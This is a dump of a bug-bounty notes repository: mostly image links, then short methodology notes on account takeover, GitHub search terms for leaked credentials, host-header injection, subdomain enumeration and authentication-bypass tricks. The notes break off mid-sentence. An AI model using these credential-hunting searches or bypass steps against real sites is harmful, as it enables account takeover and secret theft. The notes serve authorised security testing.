├── Notes ├── assets │ ├── ang.png │ ├── api.png │ ├── cie.png │ ├── crl.png │ ├── crt.png │ ├── env.png │ ├── es.png │ ├── es2.png │ ├── foo.png │ ├── jwt.png │ ├── poc.png │ ├── red.png │ ├── rpc.png │ ├── rpo.png │ ├── sso.png │ ├── tab.png │ ├── waf.png │ ├── xss.png │ ├── admin.png │ ├── alert.png │ ├── ang2.png │ ├── angjs.png │ ├── auth.png │ ├── brow.png │ ├── burp.png │ ├── burp2.png │ ├── burp3.png │ ├── cache.png │ ├── care.png │ ├── cares.png │ ├── cirr.png │ ├── code.png │ ├── csrf.png │ ├── cvuln.png │ ├── doce.png │ ├── dork.png │ ├── graph.png │ ├── hmac.png │ ├── idor.png │ ├── inse.png │ ├── json.png │ ├── jsonp.png │ ├── jwtio.png │ ├── mime.png │ ├── model.png │ ├── mongo.png │ ├── param.png │ ├── pathc.png │ ├── proc.png │ ├── reqa.png │ ├── resca.png │ ├── soap.png │ ├── sqli.png │ ├── sqli2.png │ ├── ssrf1.png │ ├── steps.png │ ├── subd.png │ ├── tab2.png │ ├── test.png │ ├── urlr.png │ ├── vuln.png │ ├── webs.png │ ├── websh.png │ ├── xml2.png │ ├── xmlp.png │ ├── xxs3.png │ ├── xxs4.png │ ├── adadmin.png │ ├── banner.gif │ ├── conval.png │ ├── dork-1.png │ ├── dork-2.png │ ├── dork-3.png │ ├── dork-4.png │ ├── dorking.png │ ├── finger.png │ ├── kub-api.png │ ├── revolver.png │ ├── subvul.png │ ├── verify.png │ ├── vulnsub.png │ ├── amass-asn.png │ ├── whois-cidr.png │ ├── cms-workflow.png │ ├── content-disc.png │ ├── cve-workflow.png │ ├── cloud-workflow.png │ ├── dns-mail-lookup.png │ ├── github-workflow.png │ ├── owasp-workflow.png │ ├── subdomain-enum.png │ ├── dns-server-lookup.png │ ├── domain-enumeration.png │ ├── exploit-workflow.png │ ├── brute-force-workflow.png │ ├── google-dork-workflow.png │ ├── traditional-workflow.png │ ├── leaked-creds-workflow.png │ ├── Screenshot at 2021-06-05 22-35-55.png │ └── Screenshot at 2021-06-10 20-07-24.png ├── README.md ├── Fingerprinting.md ├── Reconnaissance- Phase1.md ├── Methodology - Workflows.md ├── Caching Servers.md ├── API-Testing.md ├── Reconnaissance - Phase2.md ├── Exploitation Phase 1.md ├── Exploitation Phase 2.md └── Misc.md ├── Methodologies ├── assets │ ├── pswd1.png │ ├── xss1.png │ ├── xss2.png │ ├── xss3.png │ ├── xss4.png │ ├── xss5.png │ ├── xss6.png │ ├── paswd2.png │ └── pswd-reset.png ├── Misc.md ├── OAuth.md ├── Account-Takeover.md ├── README.md ├── Sensitive-Information-Disclosure.md ├── host-header.md ├── Subdomain-Enumeration-Tecniques.md ├── Authentication.md ├── xss.md └── password-reset-flaw.md ├── .obsidian ├── config ├── graph.json └── workspace ├── README.md ├── Payloads └── XSS-Payloads-1.txt └── LICENSE /Notes/assets/ang.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/ang.png -------------------------------------------------------------------------------- /Notes/assets/api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/api.png -------------------------------------------------------------------------------- /Notes/assets/cie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cie.png -------------------------------------------------------------------------------- /Notes/assets/crl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/crl.png -------------------------------------------------------------------------------- /Notes/assets/crt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/crt.png -------------------------------------------------------------------------------- /Notes/assets/env.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/env.png -------------------------------------------------------------------------------- /Notes/assets/es.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/es.png -------------------------------------------------------------------------------- /Notes/assets/es2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/es2.png -------------------------------------------------------------------------------- /Notes/assets/foo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/foo.png -------------------------------------------------------------------------------- /Notes/assets/jwt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/jwt.png -------------------------------------------------------------------------------- /Notes/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/poc.png -------------------------------------------------------------------------------- /Notes/assets/red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/red.png -------------------------------------------------------------------------------- /Notes/assets/rpc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/rpc.png -------------------------------------------------------------------------------- /Notes/assets/rpo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/rpo.png -------------------------------------------------------------------------------- /Notes/assets/sso.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/sso.png -------------------------------------------------------------------------------- /Notes/assets/tab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/tab.png -------------------------------------------------------------------------------- /Notes/assets/waf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/waf.png -------------------------------------------------------------------------------- /Notes/assets/xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xss.png -------------------------------------------------------------------------------- /Notes/assets/admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/admin.png -------------------------------------------------------------------------------- /Notes/assets/alert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/alert.png -------------------------------------------------------------------------------- /Notes/assets/ang2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/ang2.png -------------------------------------------------------------------------------- /Notes/assets/angjs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/angjs.png -------------------------------------------------------------------------------- /Notes/assets/auth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/auth.png -------------------------------------------------------------------------------- /Notes/assets/brow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/brow.png -------------------------------------------------------------------------------- /Notes/assets/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/burp.png -------------------------------------------------------------------------------- /Notes/assets/burp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/burp2.png -------------------------------------------------------------------------------- /Notes/assets/burp3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/burp3.png -------------------------------------------------------------------------------- /Notes/assets/cache.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cache.png -------------------------------------------------------------------------------- /Notes/assets/care.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/care.png -------------------------------------------------------------------------------- /Notes/assets/cares.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cares.png -------------------------------------------------------------------------------- /Notes/assets/cirr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cirr.png -------------------------------------------------------------------------------- /Notes/assets/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/code.png -------------------------------------------------------------------------------- /Notes/assets/csrf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/csrf.png -------------------------------------------------------------------------------- /Notes/assets/cvuln.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cvuln.png -------------------------------------------------------------------------------- /Notes/assets/doce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/doce.png -------------------------------------------------------------------------------- /Notes/assets/dork.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork.png -------------------------------------------------------------------------------- /Notes/assets/graph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/graph.png -------------------------------------------------------------------------------- /Notes/assets/hmac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/hmac.png -------------------------------------------------------------------------------- /Notes/assets/idor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/idor.png -------------------------------------------------------------------------------- /Notes/assets/inse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/inse.png -------------------------------------------------------------------------------- /Notes/assets/json.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/json.png -------------------------------------------------------------------------------- /Notes/assets/jsonp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/jsonp.png -------------------------------------------------------------------------------- /Notes/assets/jwtio.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/jwtio.png -------------------------------------------------------------------------------- /Notes/assets/mime.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/mime.png -------------------------------------------------------------------------------- /Notes/assets/model.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/model.png -------------------------------------------------------------------------------- /Notes/assets/mongo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/mongo.png -------------------------------------------------------------------------------- /Notes/assets/param.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/param.png -------------------------------------------------------------------------------- /Notes/assets/pathc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/pathc.png -------------------------------------------------------------------------------- /Notes/assets/proc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/proc.png -------------------------------------------------------------------------------- /Notes/assets/reqa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/reqa.png -------------------------------------------------------------------------------- /Notes/assets/resca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/resca.png -------------------------------------------------------------------------------- /Notes/assets/soap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/soap.png -------------------------------------------------------------------------------- /Notes/assets/sqli.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/sqli.png -------------------------------------------------------------------------------- /Notes/assets/sqli2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/sqli2.png -------------------------------------------------------------------------------- /Notes/assets/ssrf1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/ssrf1.png -------------------------------------------------------------------------------- /Notes/assets/steps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/steps.png -------------------------------------------------------------------------------- /Notes/assets/subd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/subd.png -------------------------------------------------------------------------------- /Notes/assets/tab2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/tab2.png -------------------------------------------------------------------------------- /Notes/assets/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/test.png -------------------------------------------------------------------------------- /Notes/assets/urlr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/urlr.png -------------------------------------------------------------------------------- /Notes/assets/vuln.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/vuln.png -------------------------------------------------------------------------------- /Notes/assets/webs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/webs.png -------------------------------------------------------------------------------- /Notes/assets/websh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/websh.png -------------------------------------------------------------------------------- /Notes/assets/xml2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xml2.png -------------------------------------------------------------------------------- /Notes/assets/xmlp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xmlp.png -------------------------------------------------------------------------------- /Notes/assets/xxs3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xxs3.png -------------------------------------------------------------------------------- /Notes/assets/xxs4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/xxs4.png -------------------------------------------------------------------------------- /Notes/assets/adadmin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/adadmin.png -------------------------------------------------------------------------------- /Notes/assets/banner.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/banner.gif -------------------------------------------------------------------------------- /Notes/assets/conval.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/conval.png -------------------------------------------------------------------------------- /Notes/assets/dork-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-1.png -------------------------------------------------------------------------------- /Notes/assets/dork-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-2.png -------------------------------------------------------------------------------- /Notes/assets/dork-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-3.png -------------------------------------------------------------------------------- /Notes/assets/dork-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dork-4.png -------------------------------------------------------------------------------- /Notes/assets/dorking.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dorking.png -------------------------------------------------------------------------------- /Notes/assets/finger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/finger.png -------------------------------------------------------------------------------- /Notes/assets/kub-api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/kub-api.png -------------------------------------------------------------------------------- /Notes/assets/revolver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/revolver.png -------------------------------------------------------------------------------- /Notes/assets/subvul.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/subvul.png -------------------------------------------------------------------------------- /Notes/assets/verify.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/verify.png -------------------------------------------------------------------------------- /Notes/assets/vulnsub.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/vulnsub.png -------------------------------------------------------------------------------- /Notes/assets/amass-asn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/amass-asn.png -------------------------------------------------------------------------------- /Notes/assets/whois-cidr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/whois-cidr.png -------------------------------------------------------------------------------- /Methodologies/assets/pswd1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/pswd1.png -------------------------------------------------------------------------------- /Methodologies/assets/xss1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss1.png -------------------------------------------------------------------------------- /Methodologies/assets/xss2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss2.png -------------------------------------------------------------------------------- /Methodologies/assets/xss3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss3.png -------------------------------------------------------------------------------- /Methodologies/assets/xss4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss4.png -------------------------------------------------------------------------------- /Methodologies/assets/xss5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss5.png -------------------------------------------------------------------------------- /Methodologies/assets/xss6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/xss6.png -------------------------------------------------------------------------------- /Notes/assets/cms-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cms-workflow.png -------------------------------------------------------------------------------- /Notes/assets/content-disc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/content-disc.png -------------------------------------------------------------------------------- /Notes/assets/cve-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cve-workflow.png -------------------------------------------------------------------------------- /Methodologies/assets/paswd2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/paswd2.png -------------------------------------------------------------------------------- /Notes/assets/cloud-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/cloud-workflow.png -------------------------------------------------------------------------------- /Notes/assets/dns-mail-lookup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dns-mail-lookup.png -------------------------------------------------------------------------------- /Notes/assets/github-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/github-workflow.png -------------------------------------------------------------------------------- /Notes/assets/owasp-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/owasp-workflow.png -------------------------------------------------------------------------------- /Notes/assets/subdomain-enum.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/subdomain-enum.png -------------------------------------------------------------------------------- /Methodologies/assets/pswd-reset.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Methodologies/assets/pswd-reset.png -------------------------------------------------------------------------------- /Notes/assets/dns-server-lookup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/dns-server-lookup.png -------------------------------------------------------------------------------- /Notes/assets/domain-enumeration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/domain-enumeration.png -------------------------------------------------------------------------------- /Notes/assets/exploit-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/exploit-workflow.png -------------------------------------------------------------------------------- /Notes/assets/brute-force-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/brute-force-workflow.png -------------------------------------------------------------------------------- /Notes/assets/google-dork-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/google-dork-workflow.png -------------------------------------------------------------------------------- /Notes/assets/traditional-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/traditional-workflow.png -------------------------------------------------------------------------------- /Notes/assets/leaked-creds-workflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/leaked-creds-workflow.png -------------------------------------------------------------------------------- /Notes/assets/Screenshot at 2021-06-05 22-35-55.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/Screenshot at 2021-06-05 22-35-55.png -------------------------------------------------------------------------------- /Notes/assets/Screenshot at 2021-06-10 20-07-24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Bug-Hunting/HEAD/Notes/assets/Screenshot at 2021-06-10 20-07-24.png -------------------------------------------------------------------------------- /Notes/README.md: -------------------------------------------------------------------------------- 1 | # Bug Hunting Notes 2 | 3 | You can refer the [README.md](https://github.com/IamLucif3r/Bug-Hunting) of this repository for a proper index. 4 | -------------------------------------------------------------------------------- /.obsidian/config: -------------------------------------------------------------------------------- 1 | {"baseFontSize":16,"pluginEnabledStatus":{"file-explorer":true,"global-search":true,"switcher":true,"graph":true,"backlink":true,"page-preview":true,"command-palette":true,"markdown-importer":true,"word-count":true,"open-with-default-app":true,"file-recovery":true},"alwaysUpdateLinks":true} -------------------------------------------------------------------------------- /Methodologies/Misc.md: -------------------------------------------------------------------------------- 1 | # Miscellanious Tips 2 | --- 3 | 4 | ### 1. Takeover 5 | 1. A site having github logo 6 | 2. Example: Click on logo it'll show you git repo(http://github.com/site/) 7 | 3. In my case , It was 404 8 | Main part 9 | 4. Created git account with name of company , So it was like 10 | http://github.com/site/ 11 | --- 12 | 13 | ### 2. SSRF 14 | 1. -------------------------------------------------------------------------------- /Methodologies/OAuth.md: -------------------------------------------------------------------------------- 1 | # OAuth 2.0 2 | ### What is OAuth 2.0 ? 3 | - Authorization Framework 4 | - It enables a third party application to obtain limited access to a service. 5 | - Example: We come across Login with Facebook or Login with github buttons, on various websites, which hets an 'access_token' of the user from the facebook/github and uses the limited information from it to create an account 6 | - -------------------------------------------------------------------------------- /.obsidian/graph.json: -------------------------------------------------------------------------------- 1 | {"collapse-filter":true,"search":"","showTags":false,"showAttachments":false,"hideUnresolved":false,"showOrphans":true,"collapse-color-groups":true,"colorGroups":[],"collapse-display":true,"showArrow":false,"textFadeMultiplier":0,"nodeSizeMultiplier":1,"lineSizeMultiplier":1,"collapse-forces":true,"centerStrength":0.518713248970312,"repelStrength":10,"linkStrength":1,"linkDistance":250,"scale":1.0000000000000004,"close":false} -------------------------------------------------------------------------------- /Methodologies/Account-Takeover.md: -------------------------------------------------------------------------------- 1 | # Account Takeover 2 | ### Method -1 3 | 1. 1 account logged in 2 browsers 4 | 2. Tried signup with same account but showing email exist and redirect to signup page 5 | 3. In Firefox captured request of sign up submit >Do intercept > Response > Email exists 6 | 4. Response changed to E-mail available >302 found /dashboard. Account created 7 | 5. Change profile data 8 | 6. Refresh in chrome and data changed 9 | Note: I didn't mention some things because I want you to implement your logic and do it by yourself. -------------------------------------------------------------------------------- /Methodologies/README.md: -------------------------------------------------------------------------------- 1 | # Methodologies 2 | The Methodologies includes steps, to check the respective vulnerabilities. The following vulnerabilites are updated till now, many more methodologies for different vulnerabilities are being added. 3 | 4 | ## Contents: 5 | - [XSS](xss.md) 6 | - [Host-Header Injection](host-header.md) 7 | - [Password-Reset Flaws](password-reset-flaw.md) 8 | - [Authentication](Authentication.md) 9 | - [Account Takeover](Account-Takeover.md) 10 | - [Subdomain Enumeration](Subdomain-Enumeration-Tecniques.md) 11 | - [Sensitive Information Leaks](Sensitive-Information-Disclosure.md) 12 | - [Misc](Misc.md) 13 | -------------------------------------------------------------------------------- /Methodologies/Sensitive-Information-Disclosure.md: -------------------------------------------------------------------------------- 1 | # Sensitive Information Leaks 2 | 3 | Sensitive Information on Github can be searched using some keywords as follows: 4 | - "target.com" password 5 | - "target.com" secret 6 | - "target.com" credentials 7 | - "target.com" token 8 | - "target.com" config 9 | - "target.com" key 10 | - "target.com" pass 11 | - "target.com" login 12 | - "target.com" ftp 13 | - "target.com" pwd 14 | 15 | Some Successful Queries are: 16 | - "target.com" security_credentials <--- LDAP
17 | - "target.com" connectstring <--- Database Credentials
18 | - "target.com" JDBC <--- Database Credentials
19 | - "target.com" ssh2_auth_password <--- Unauthorized Access to servers
20 | - "target.com" send_keys or send,keys
21 | 22 | -------------------------------------------------------------------------------- /Methodologies/host-header.md: -------------------------------------------------------------------------------- 1 | # Host Header Injection 2 | 1. The first step is to check those pages, having Status code as: 3 | - 200 or 300 4 | - 201 or 301 5 | - 202 or 302 6 | - 203 or 303 7 | - 204 or 304 8 | 2. Intercept the request and send it to repeater. 9 | 1. First Method: Simply change the real Host to yahoo.com (it can be any website, in place of yahoo.com) and check if the webpage is being redirected or not. 10 | 2. Second Method: Change the host from realwebsite.com to google.com (or any other website) and set X-Forwarded-Host to realwebsite.com and check if the webpage is being redirected or not 11 | 3. Third Method: set X-Forwarded-Host to anywebsite.com and Host to realwebsite.com and check if it is getting refirected or not. 12 | --- 13 | 14 | -------------------------------------------------------------------------------- /Methodologies/Subdomain-Enumeration-Tecniques.md: -------------------------------------------------------------------------------- 1 | # Subdomain-Enumeration Tecniques 2 | - Sub-Domain Enumeration is the process of finding subdomains for one or more domain(s). 3 | - Why ? 4 | - Hidden & Forgotten Sub Domains may lead to uncovering the critical vulnerabilities. 5 | - Common Subdomain Enumeration Techniques: 6 | - Google Doriking 7 | - Using Specialized Searech Engine (e.g. VirusTotal) 8 | - Dictionary Based Enumeration 9 | - Sub-Domain Bruteforcing 10 | - Esoteric (Discussed Below) 11 | 12 | ## Techniques To be Covered: 13 | - Certificate Transparency 14 | - DNSSEC Zone Walking 15 | - DNS Zone Transfer 16 | - Passive Recon Using Public Datasets. 17 | 18 | ### 1. Certificate Transparency 19 | - Under CT, a Certificate Authority will have to publis all SSL/TLS certificates they issue in a public log. 20 | - Anyone can look throught the CT Logs and find the Certificates issued for the domain. 21 | - Website: https://www.certificate-transparency.org 22 | - All the SSL / TLS Certificates include the informations about the Subdomains, and all important information about a domain. 23 | - How to search ? 24 | - https://crt.sh/ 25 | - https://censys.io/ 26 | - https://google.com/transparencyreport/https/ct/ 27 | 28 | --- 29 | -------------------------------------------------------------------------------- /Methodologies/Authentication.md: -------------------------------------------------------------------------------- 1 | # Authentication - Misconfigurations 2 | 3 | ### 1. Session Based Exploitation 4 | - When you create a user, the application will check programmatically that the user does not exist by comparing the username provided with the existing user. 5 | - When you log in, the application will check that your username and password are correct, and then it will save your username in your session. 6 | - Finally, every time you will access the application, the application will retrieve your user's details based on the username provided in the session. 7 | - Tip: The trick here comes from the fact that the comparison when you create a user is done programmatically (i.e.: in Ruby) but when the user's details get retrieved, the comparison is done by the database. By default, MySQL (with the type `VARCHAR`) will perform a case insensitive comparison: "admin" and "Admin" are the same value. 8 | 9 | - You can try logging in as "admin" or somthing similar by abusing the Case, and check if you can gain access. 10 | - If the user 'admin\[space\]' exists, you can add more spaces after 'admin' 11 | 12 | ### 2. Account Takeover Through Unvalidated Security Question Reset 13 | Applicable for Password Reset Pages with Security Question. It is a flaw where Attacker can reset the Victim's account through security question & Parameter Tampering. 14 | - Go to the Password Reset Page. 15 | - Intercept the Security Question page in Burp. 16 | - If the security question is being passed as a parameter, try adding a new question and an answer of any 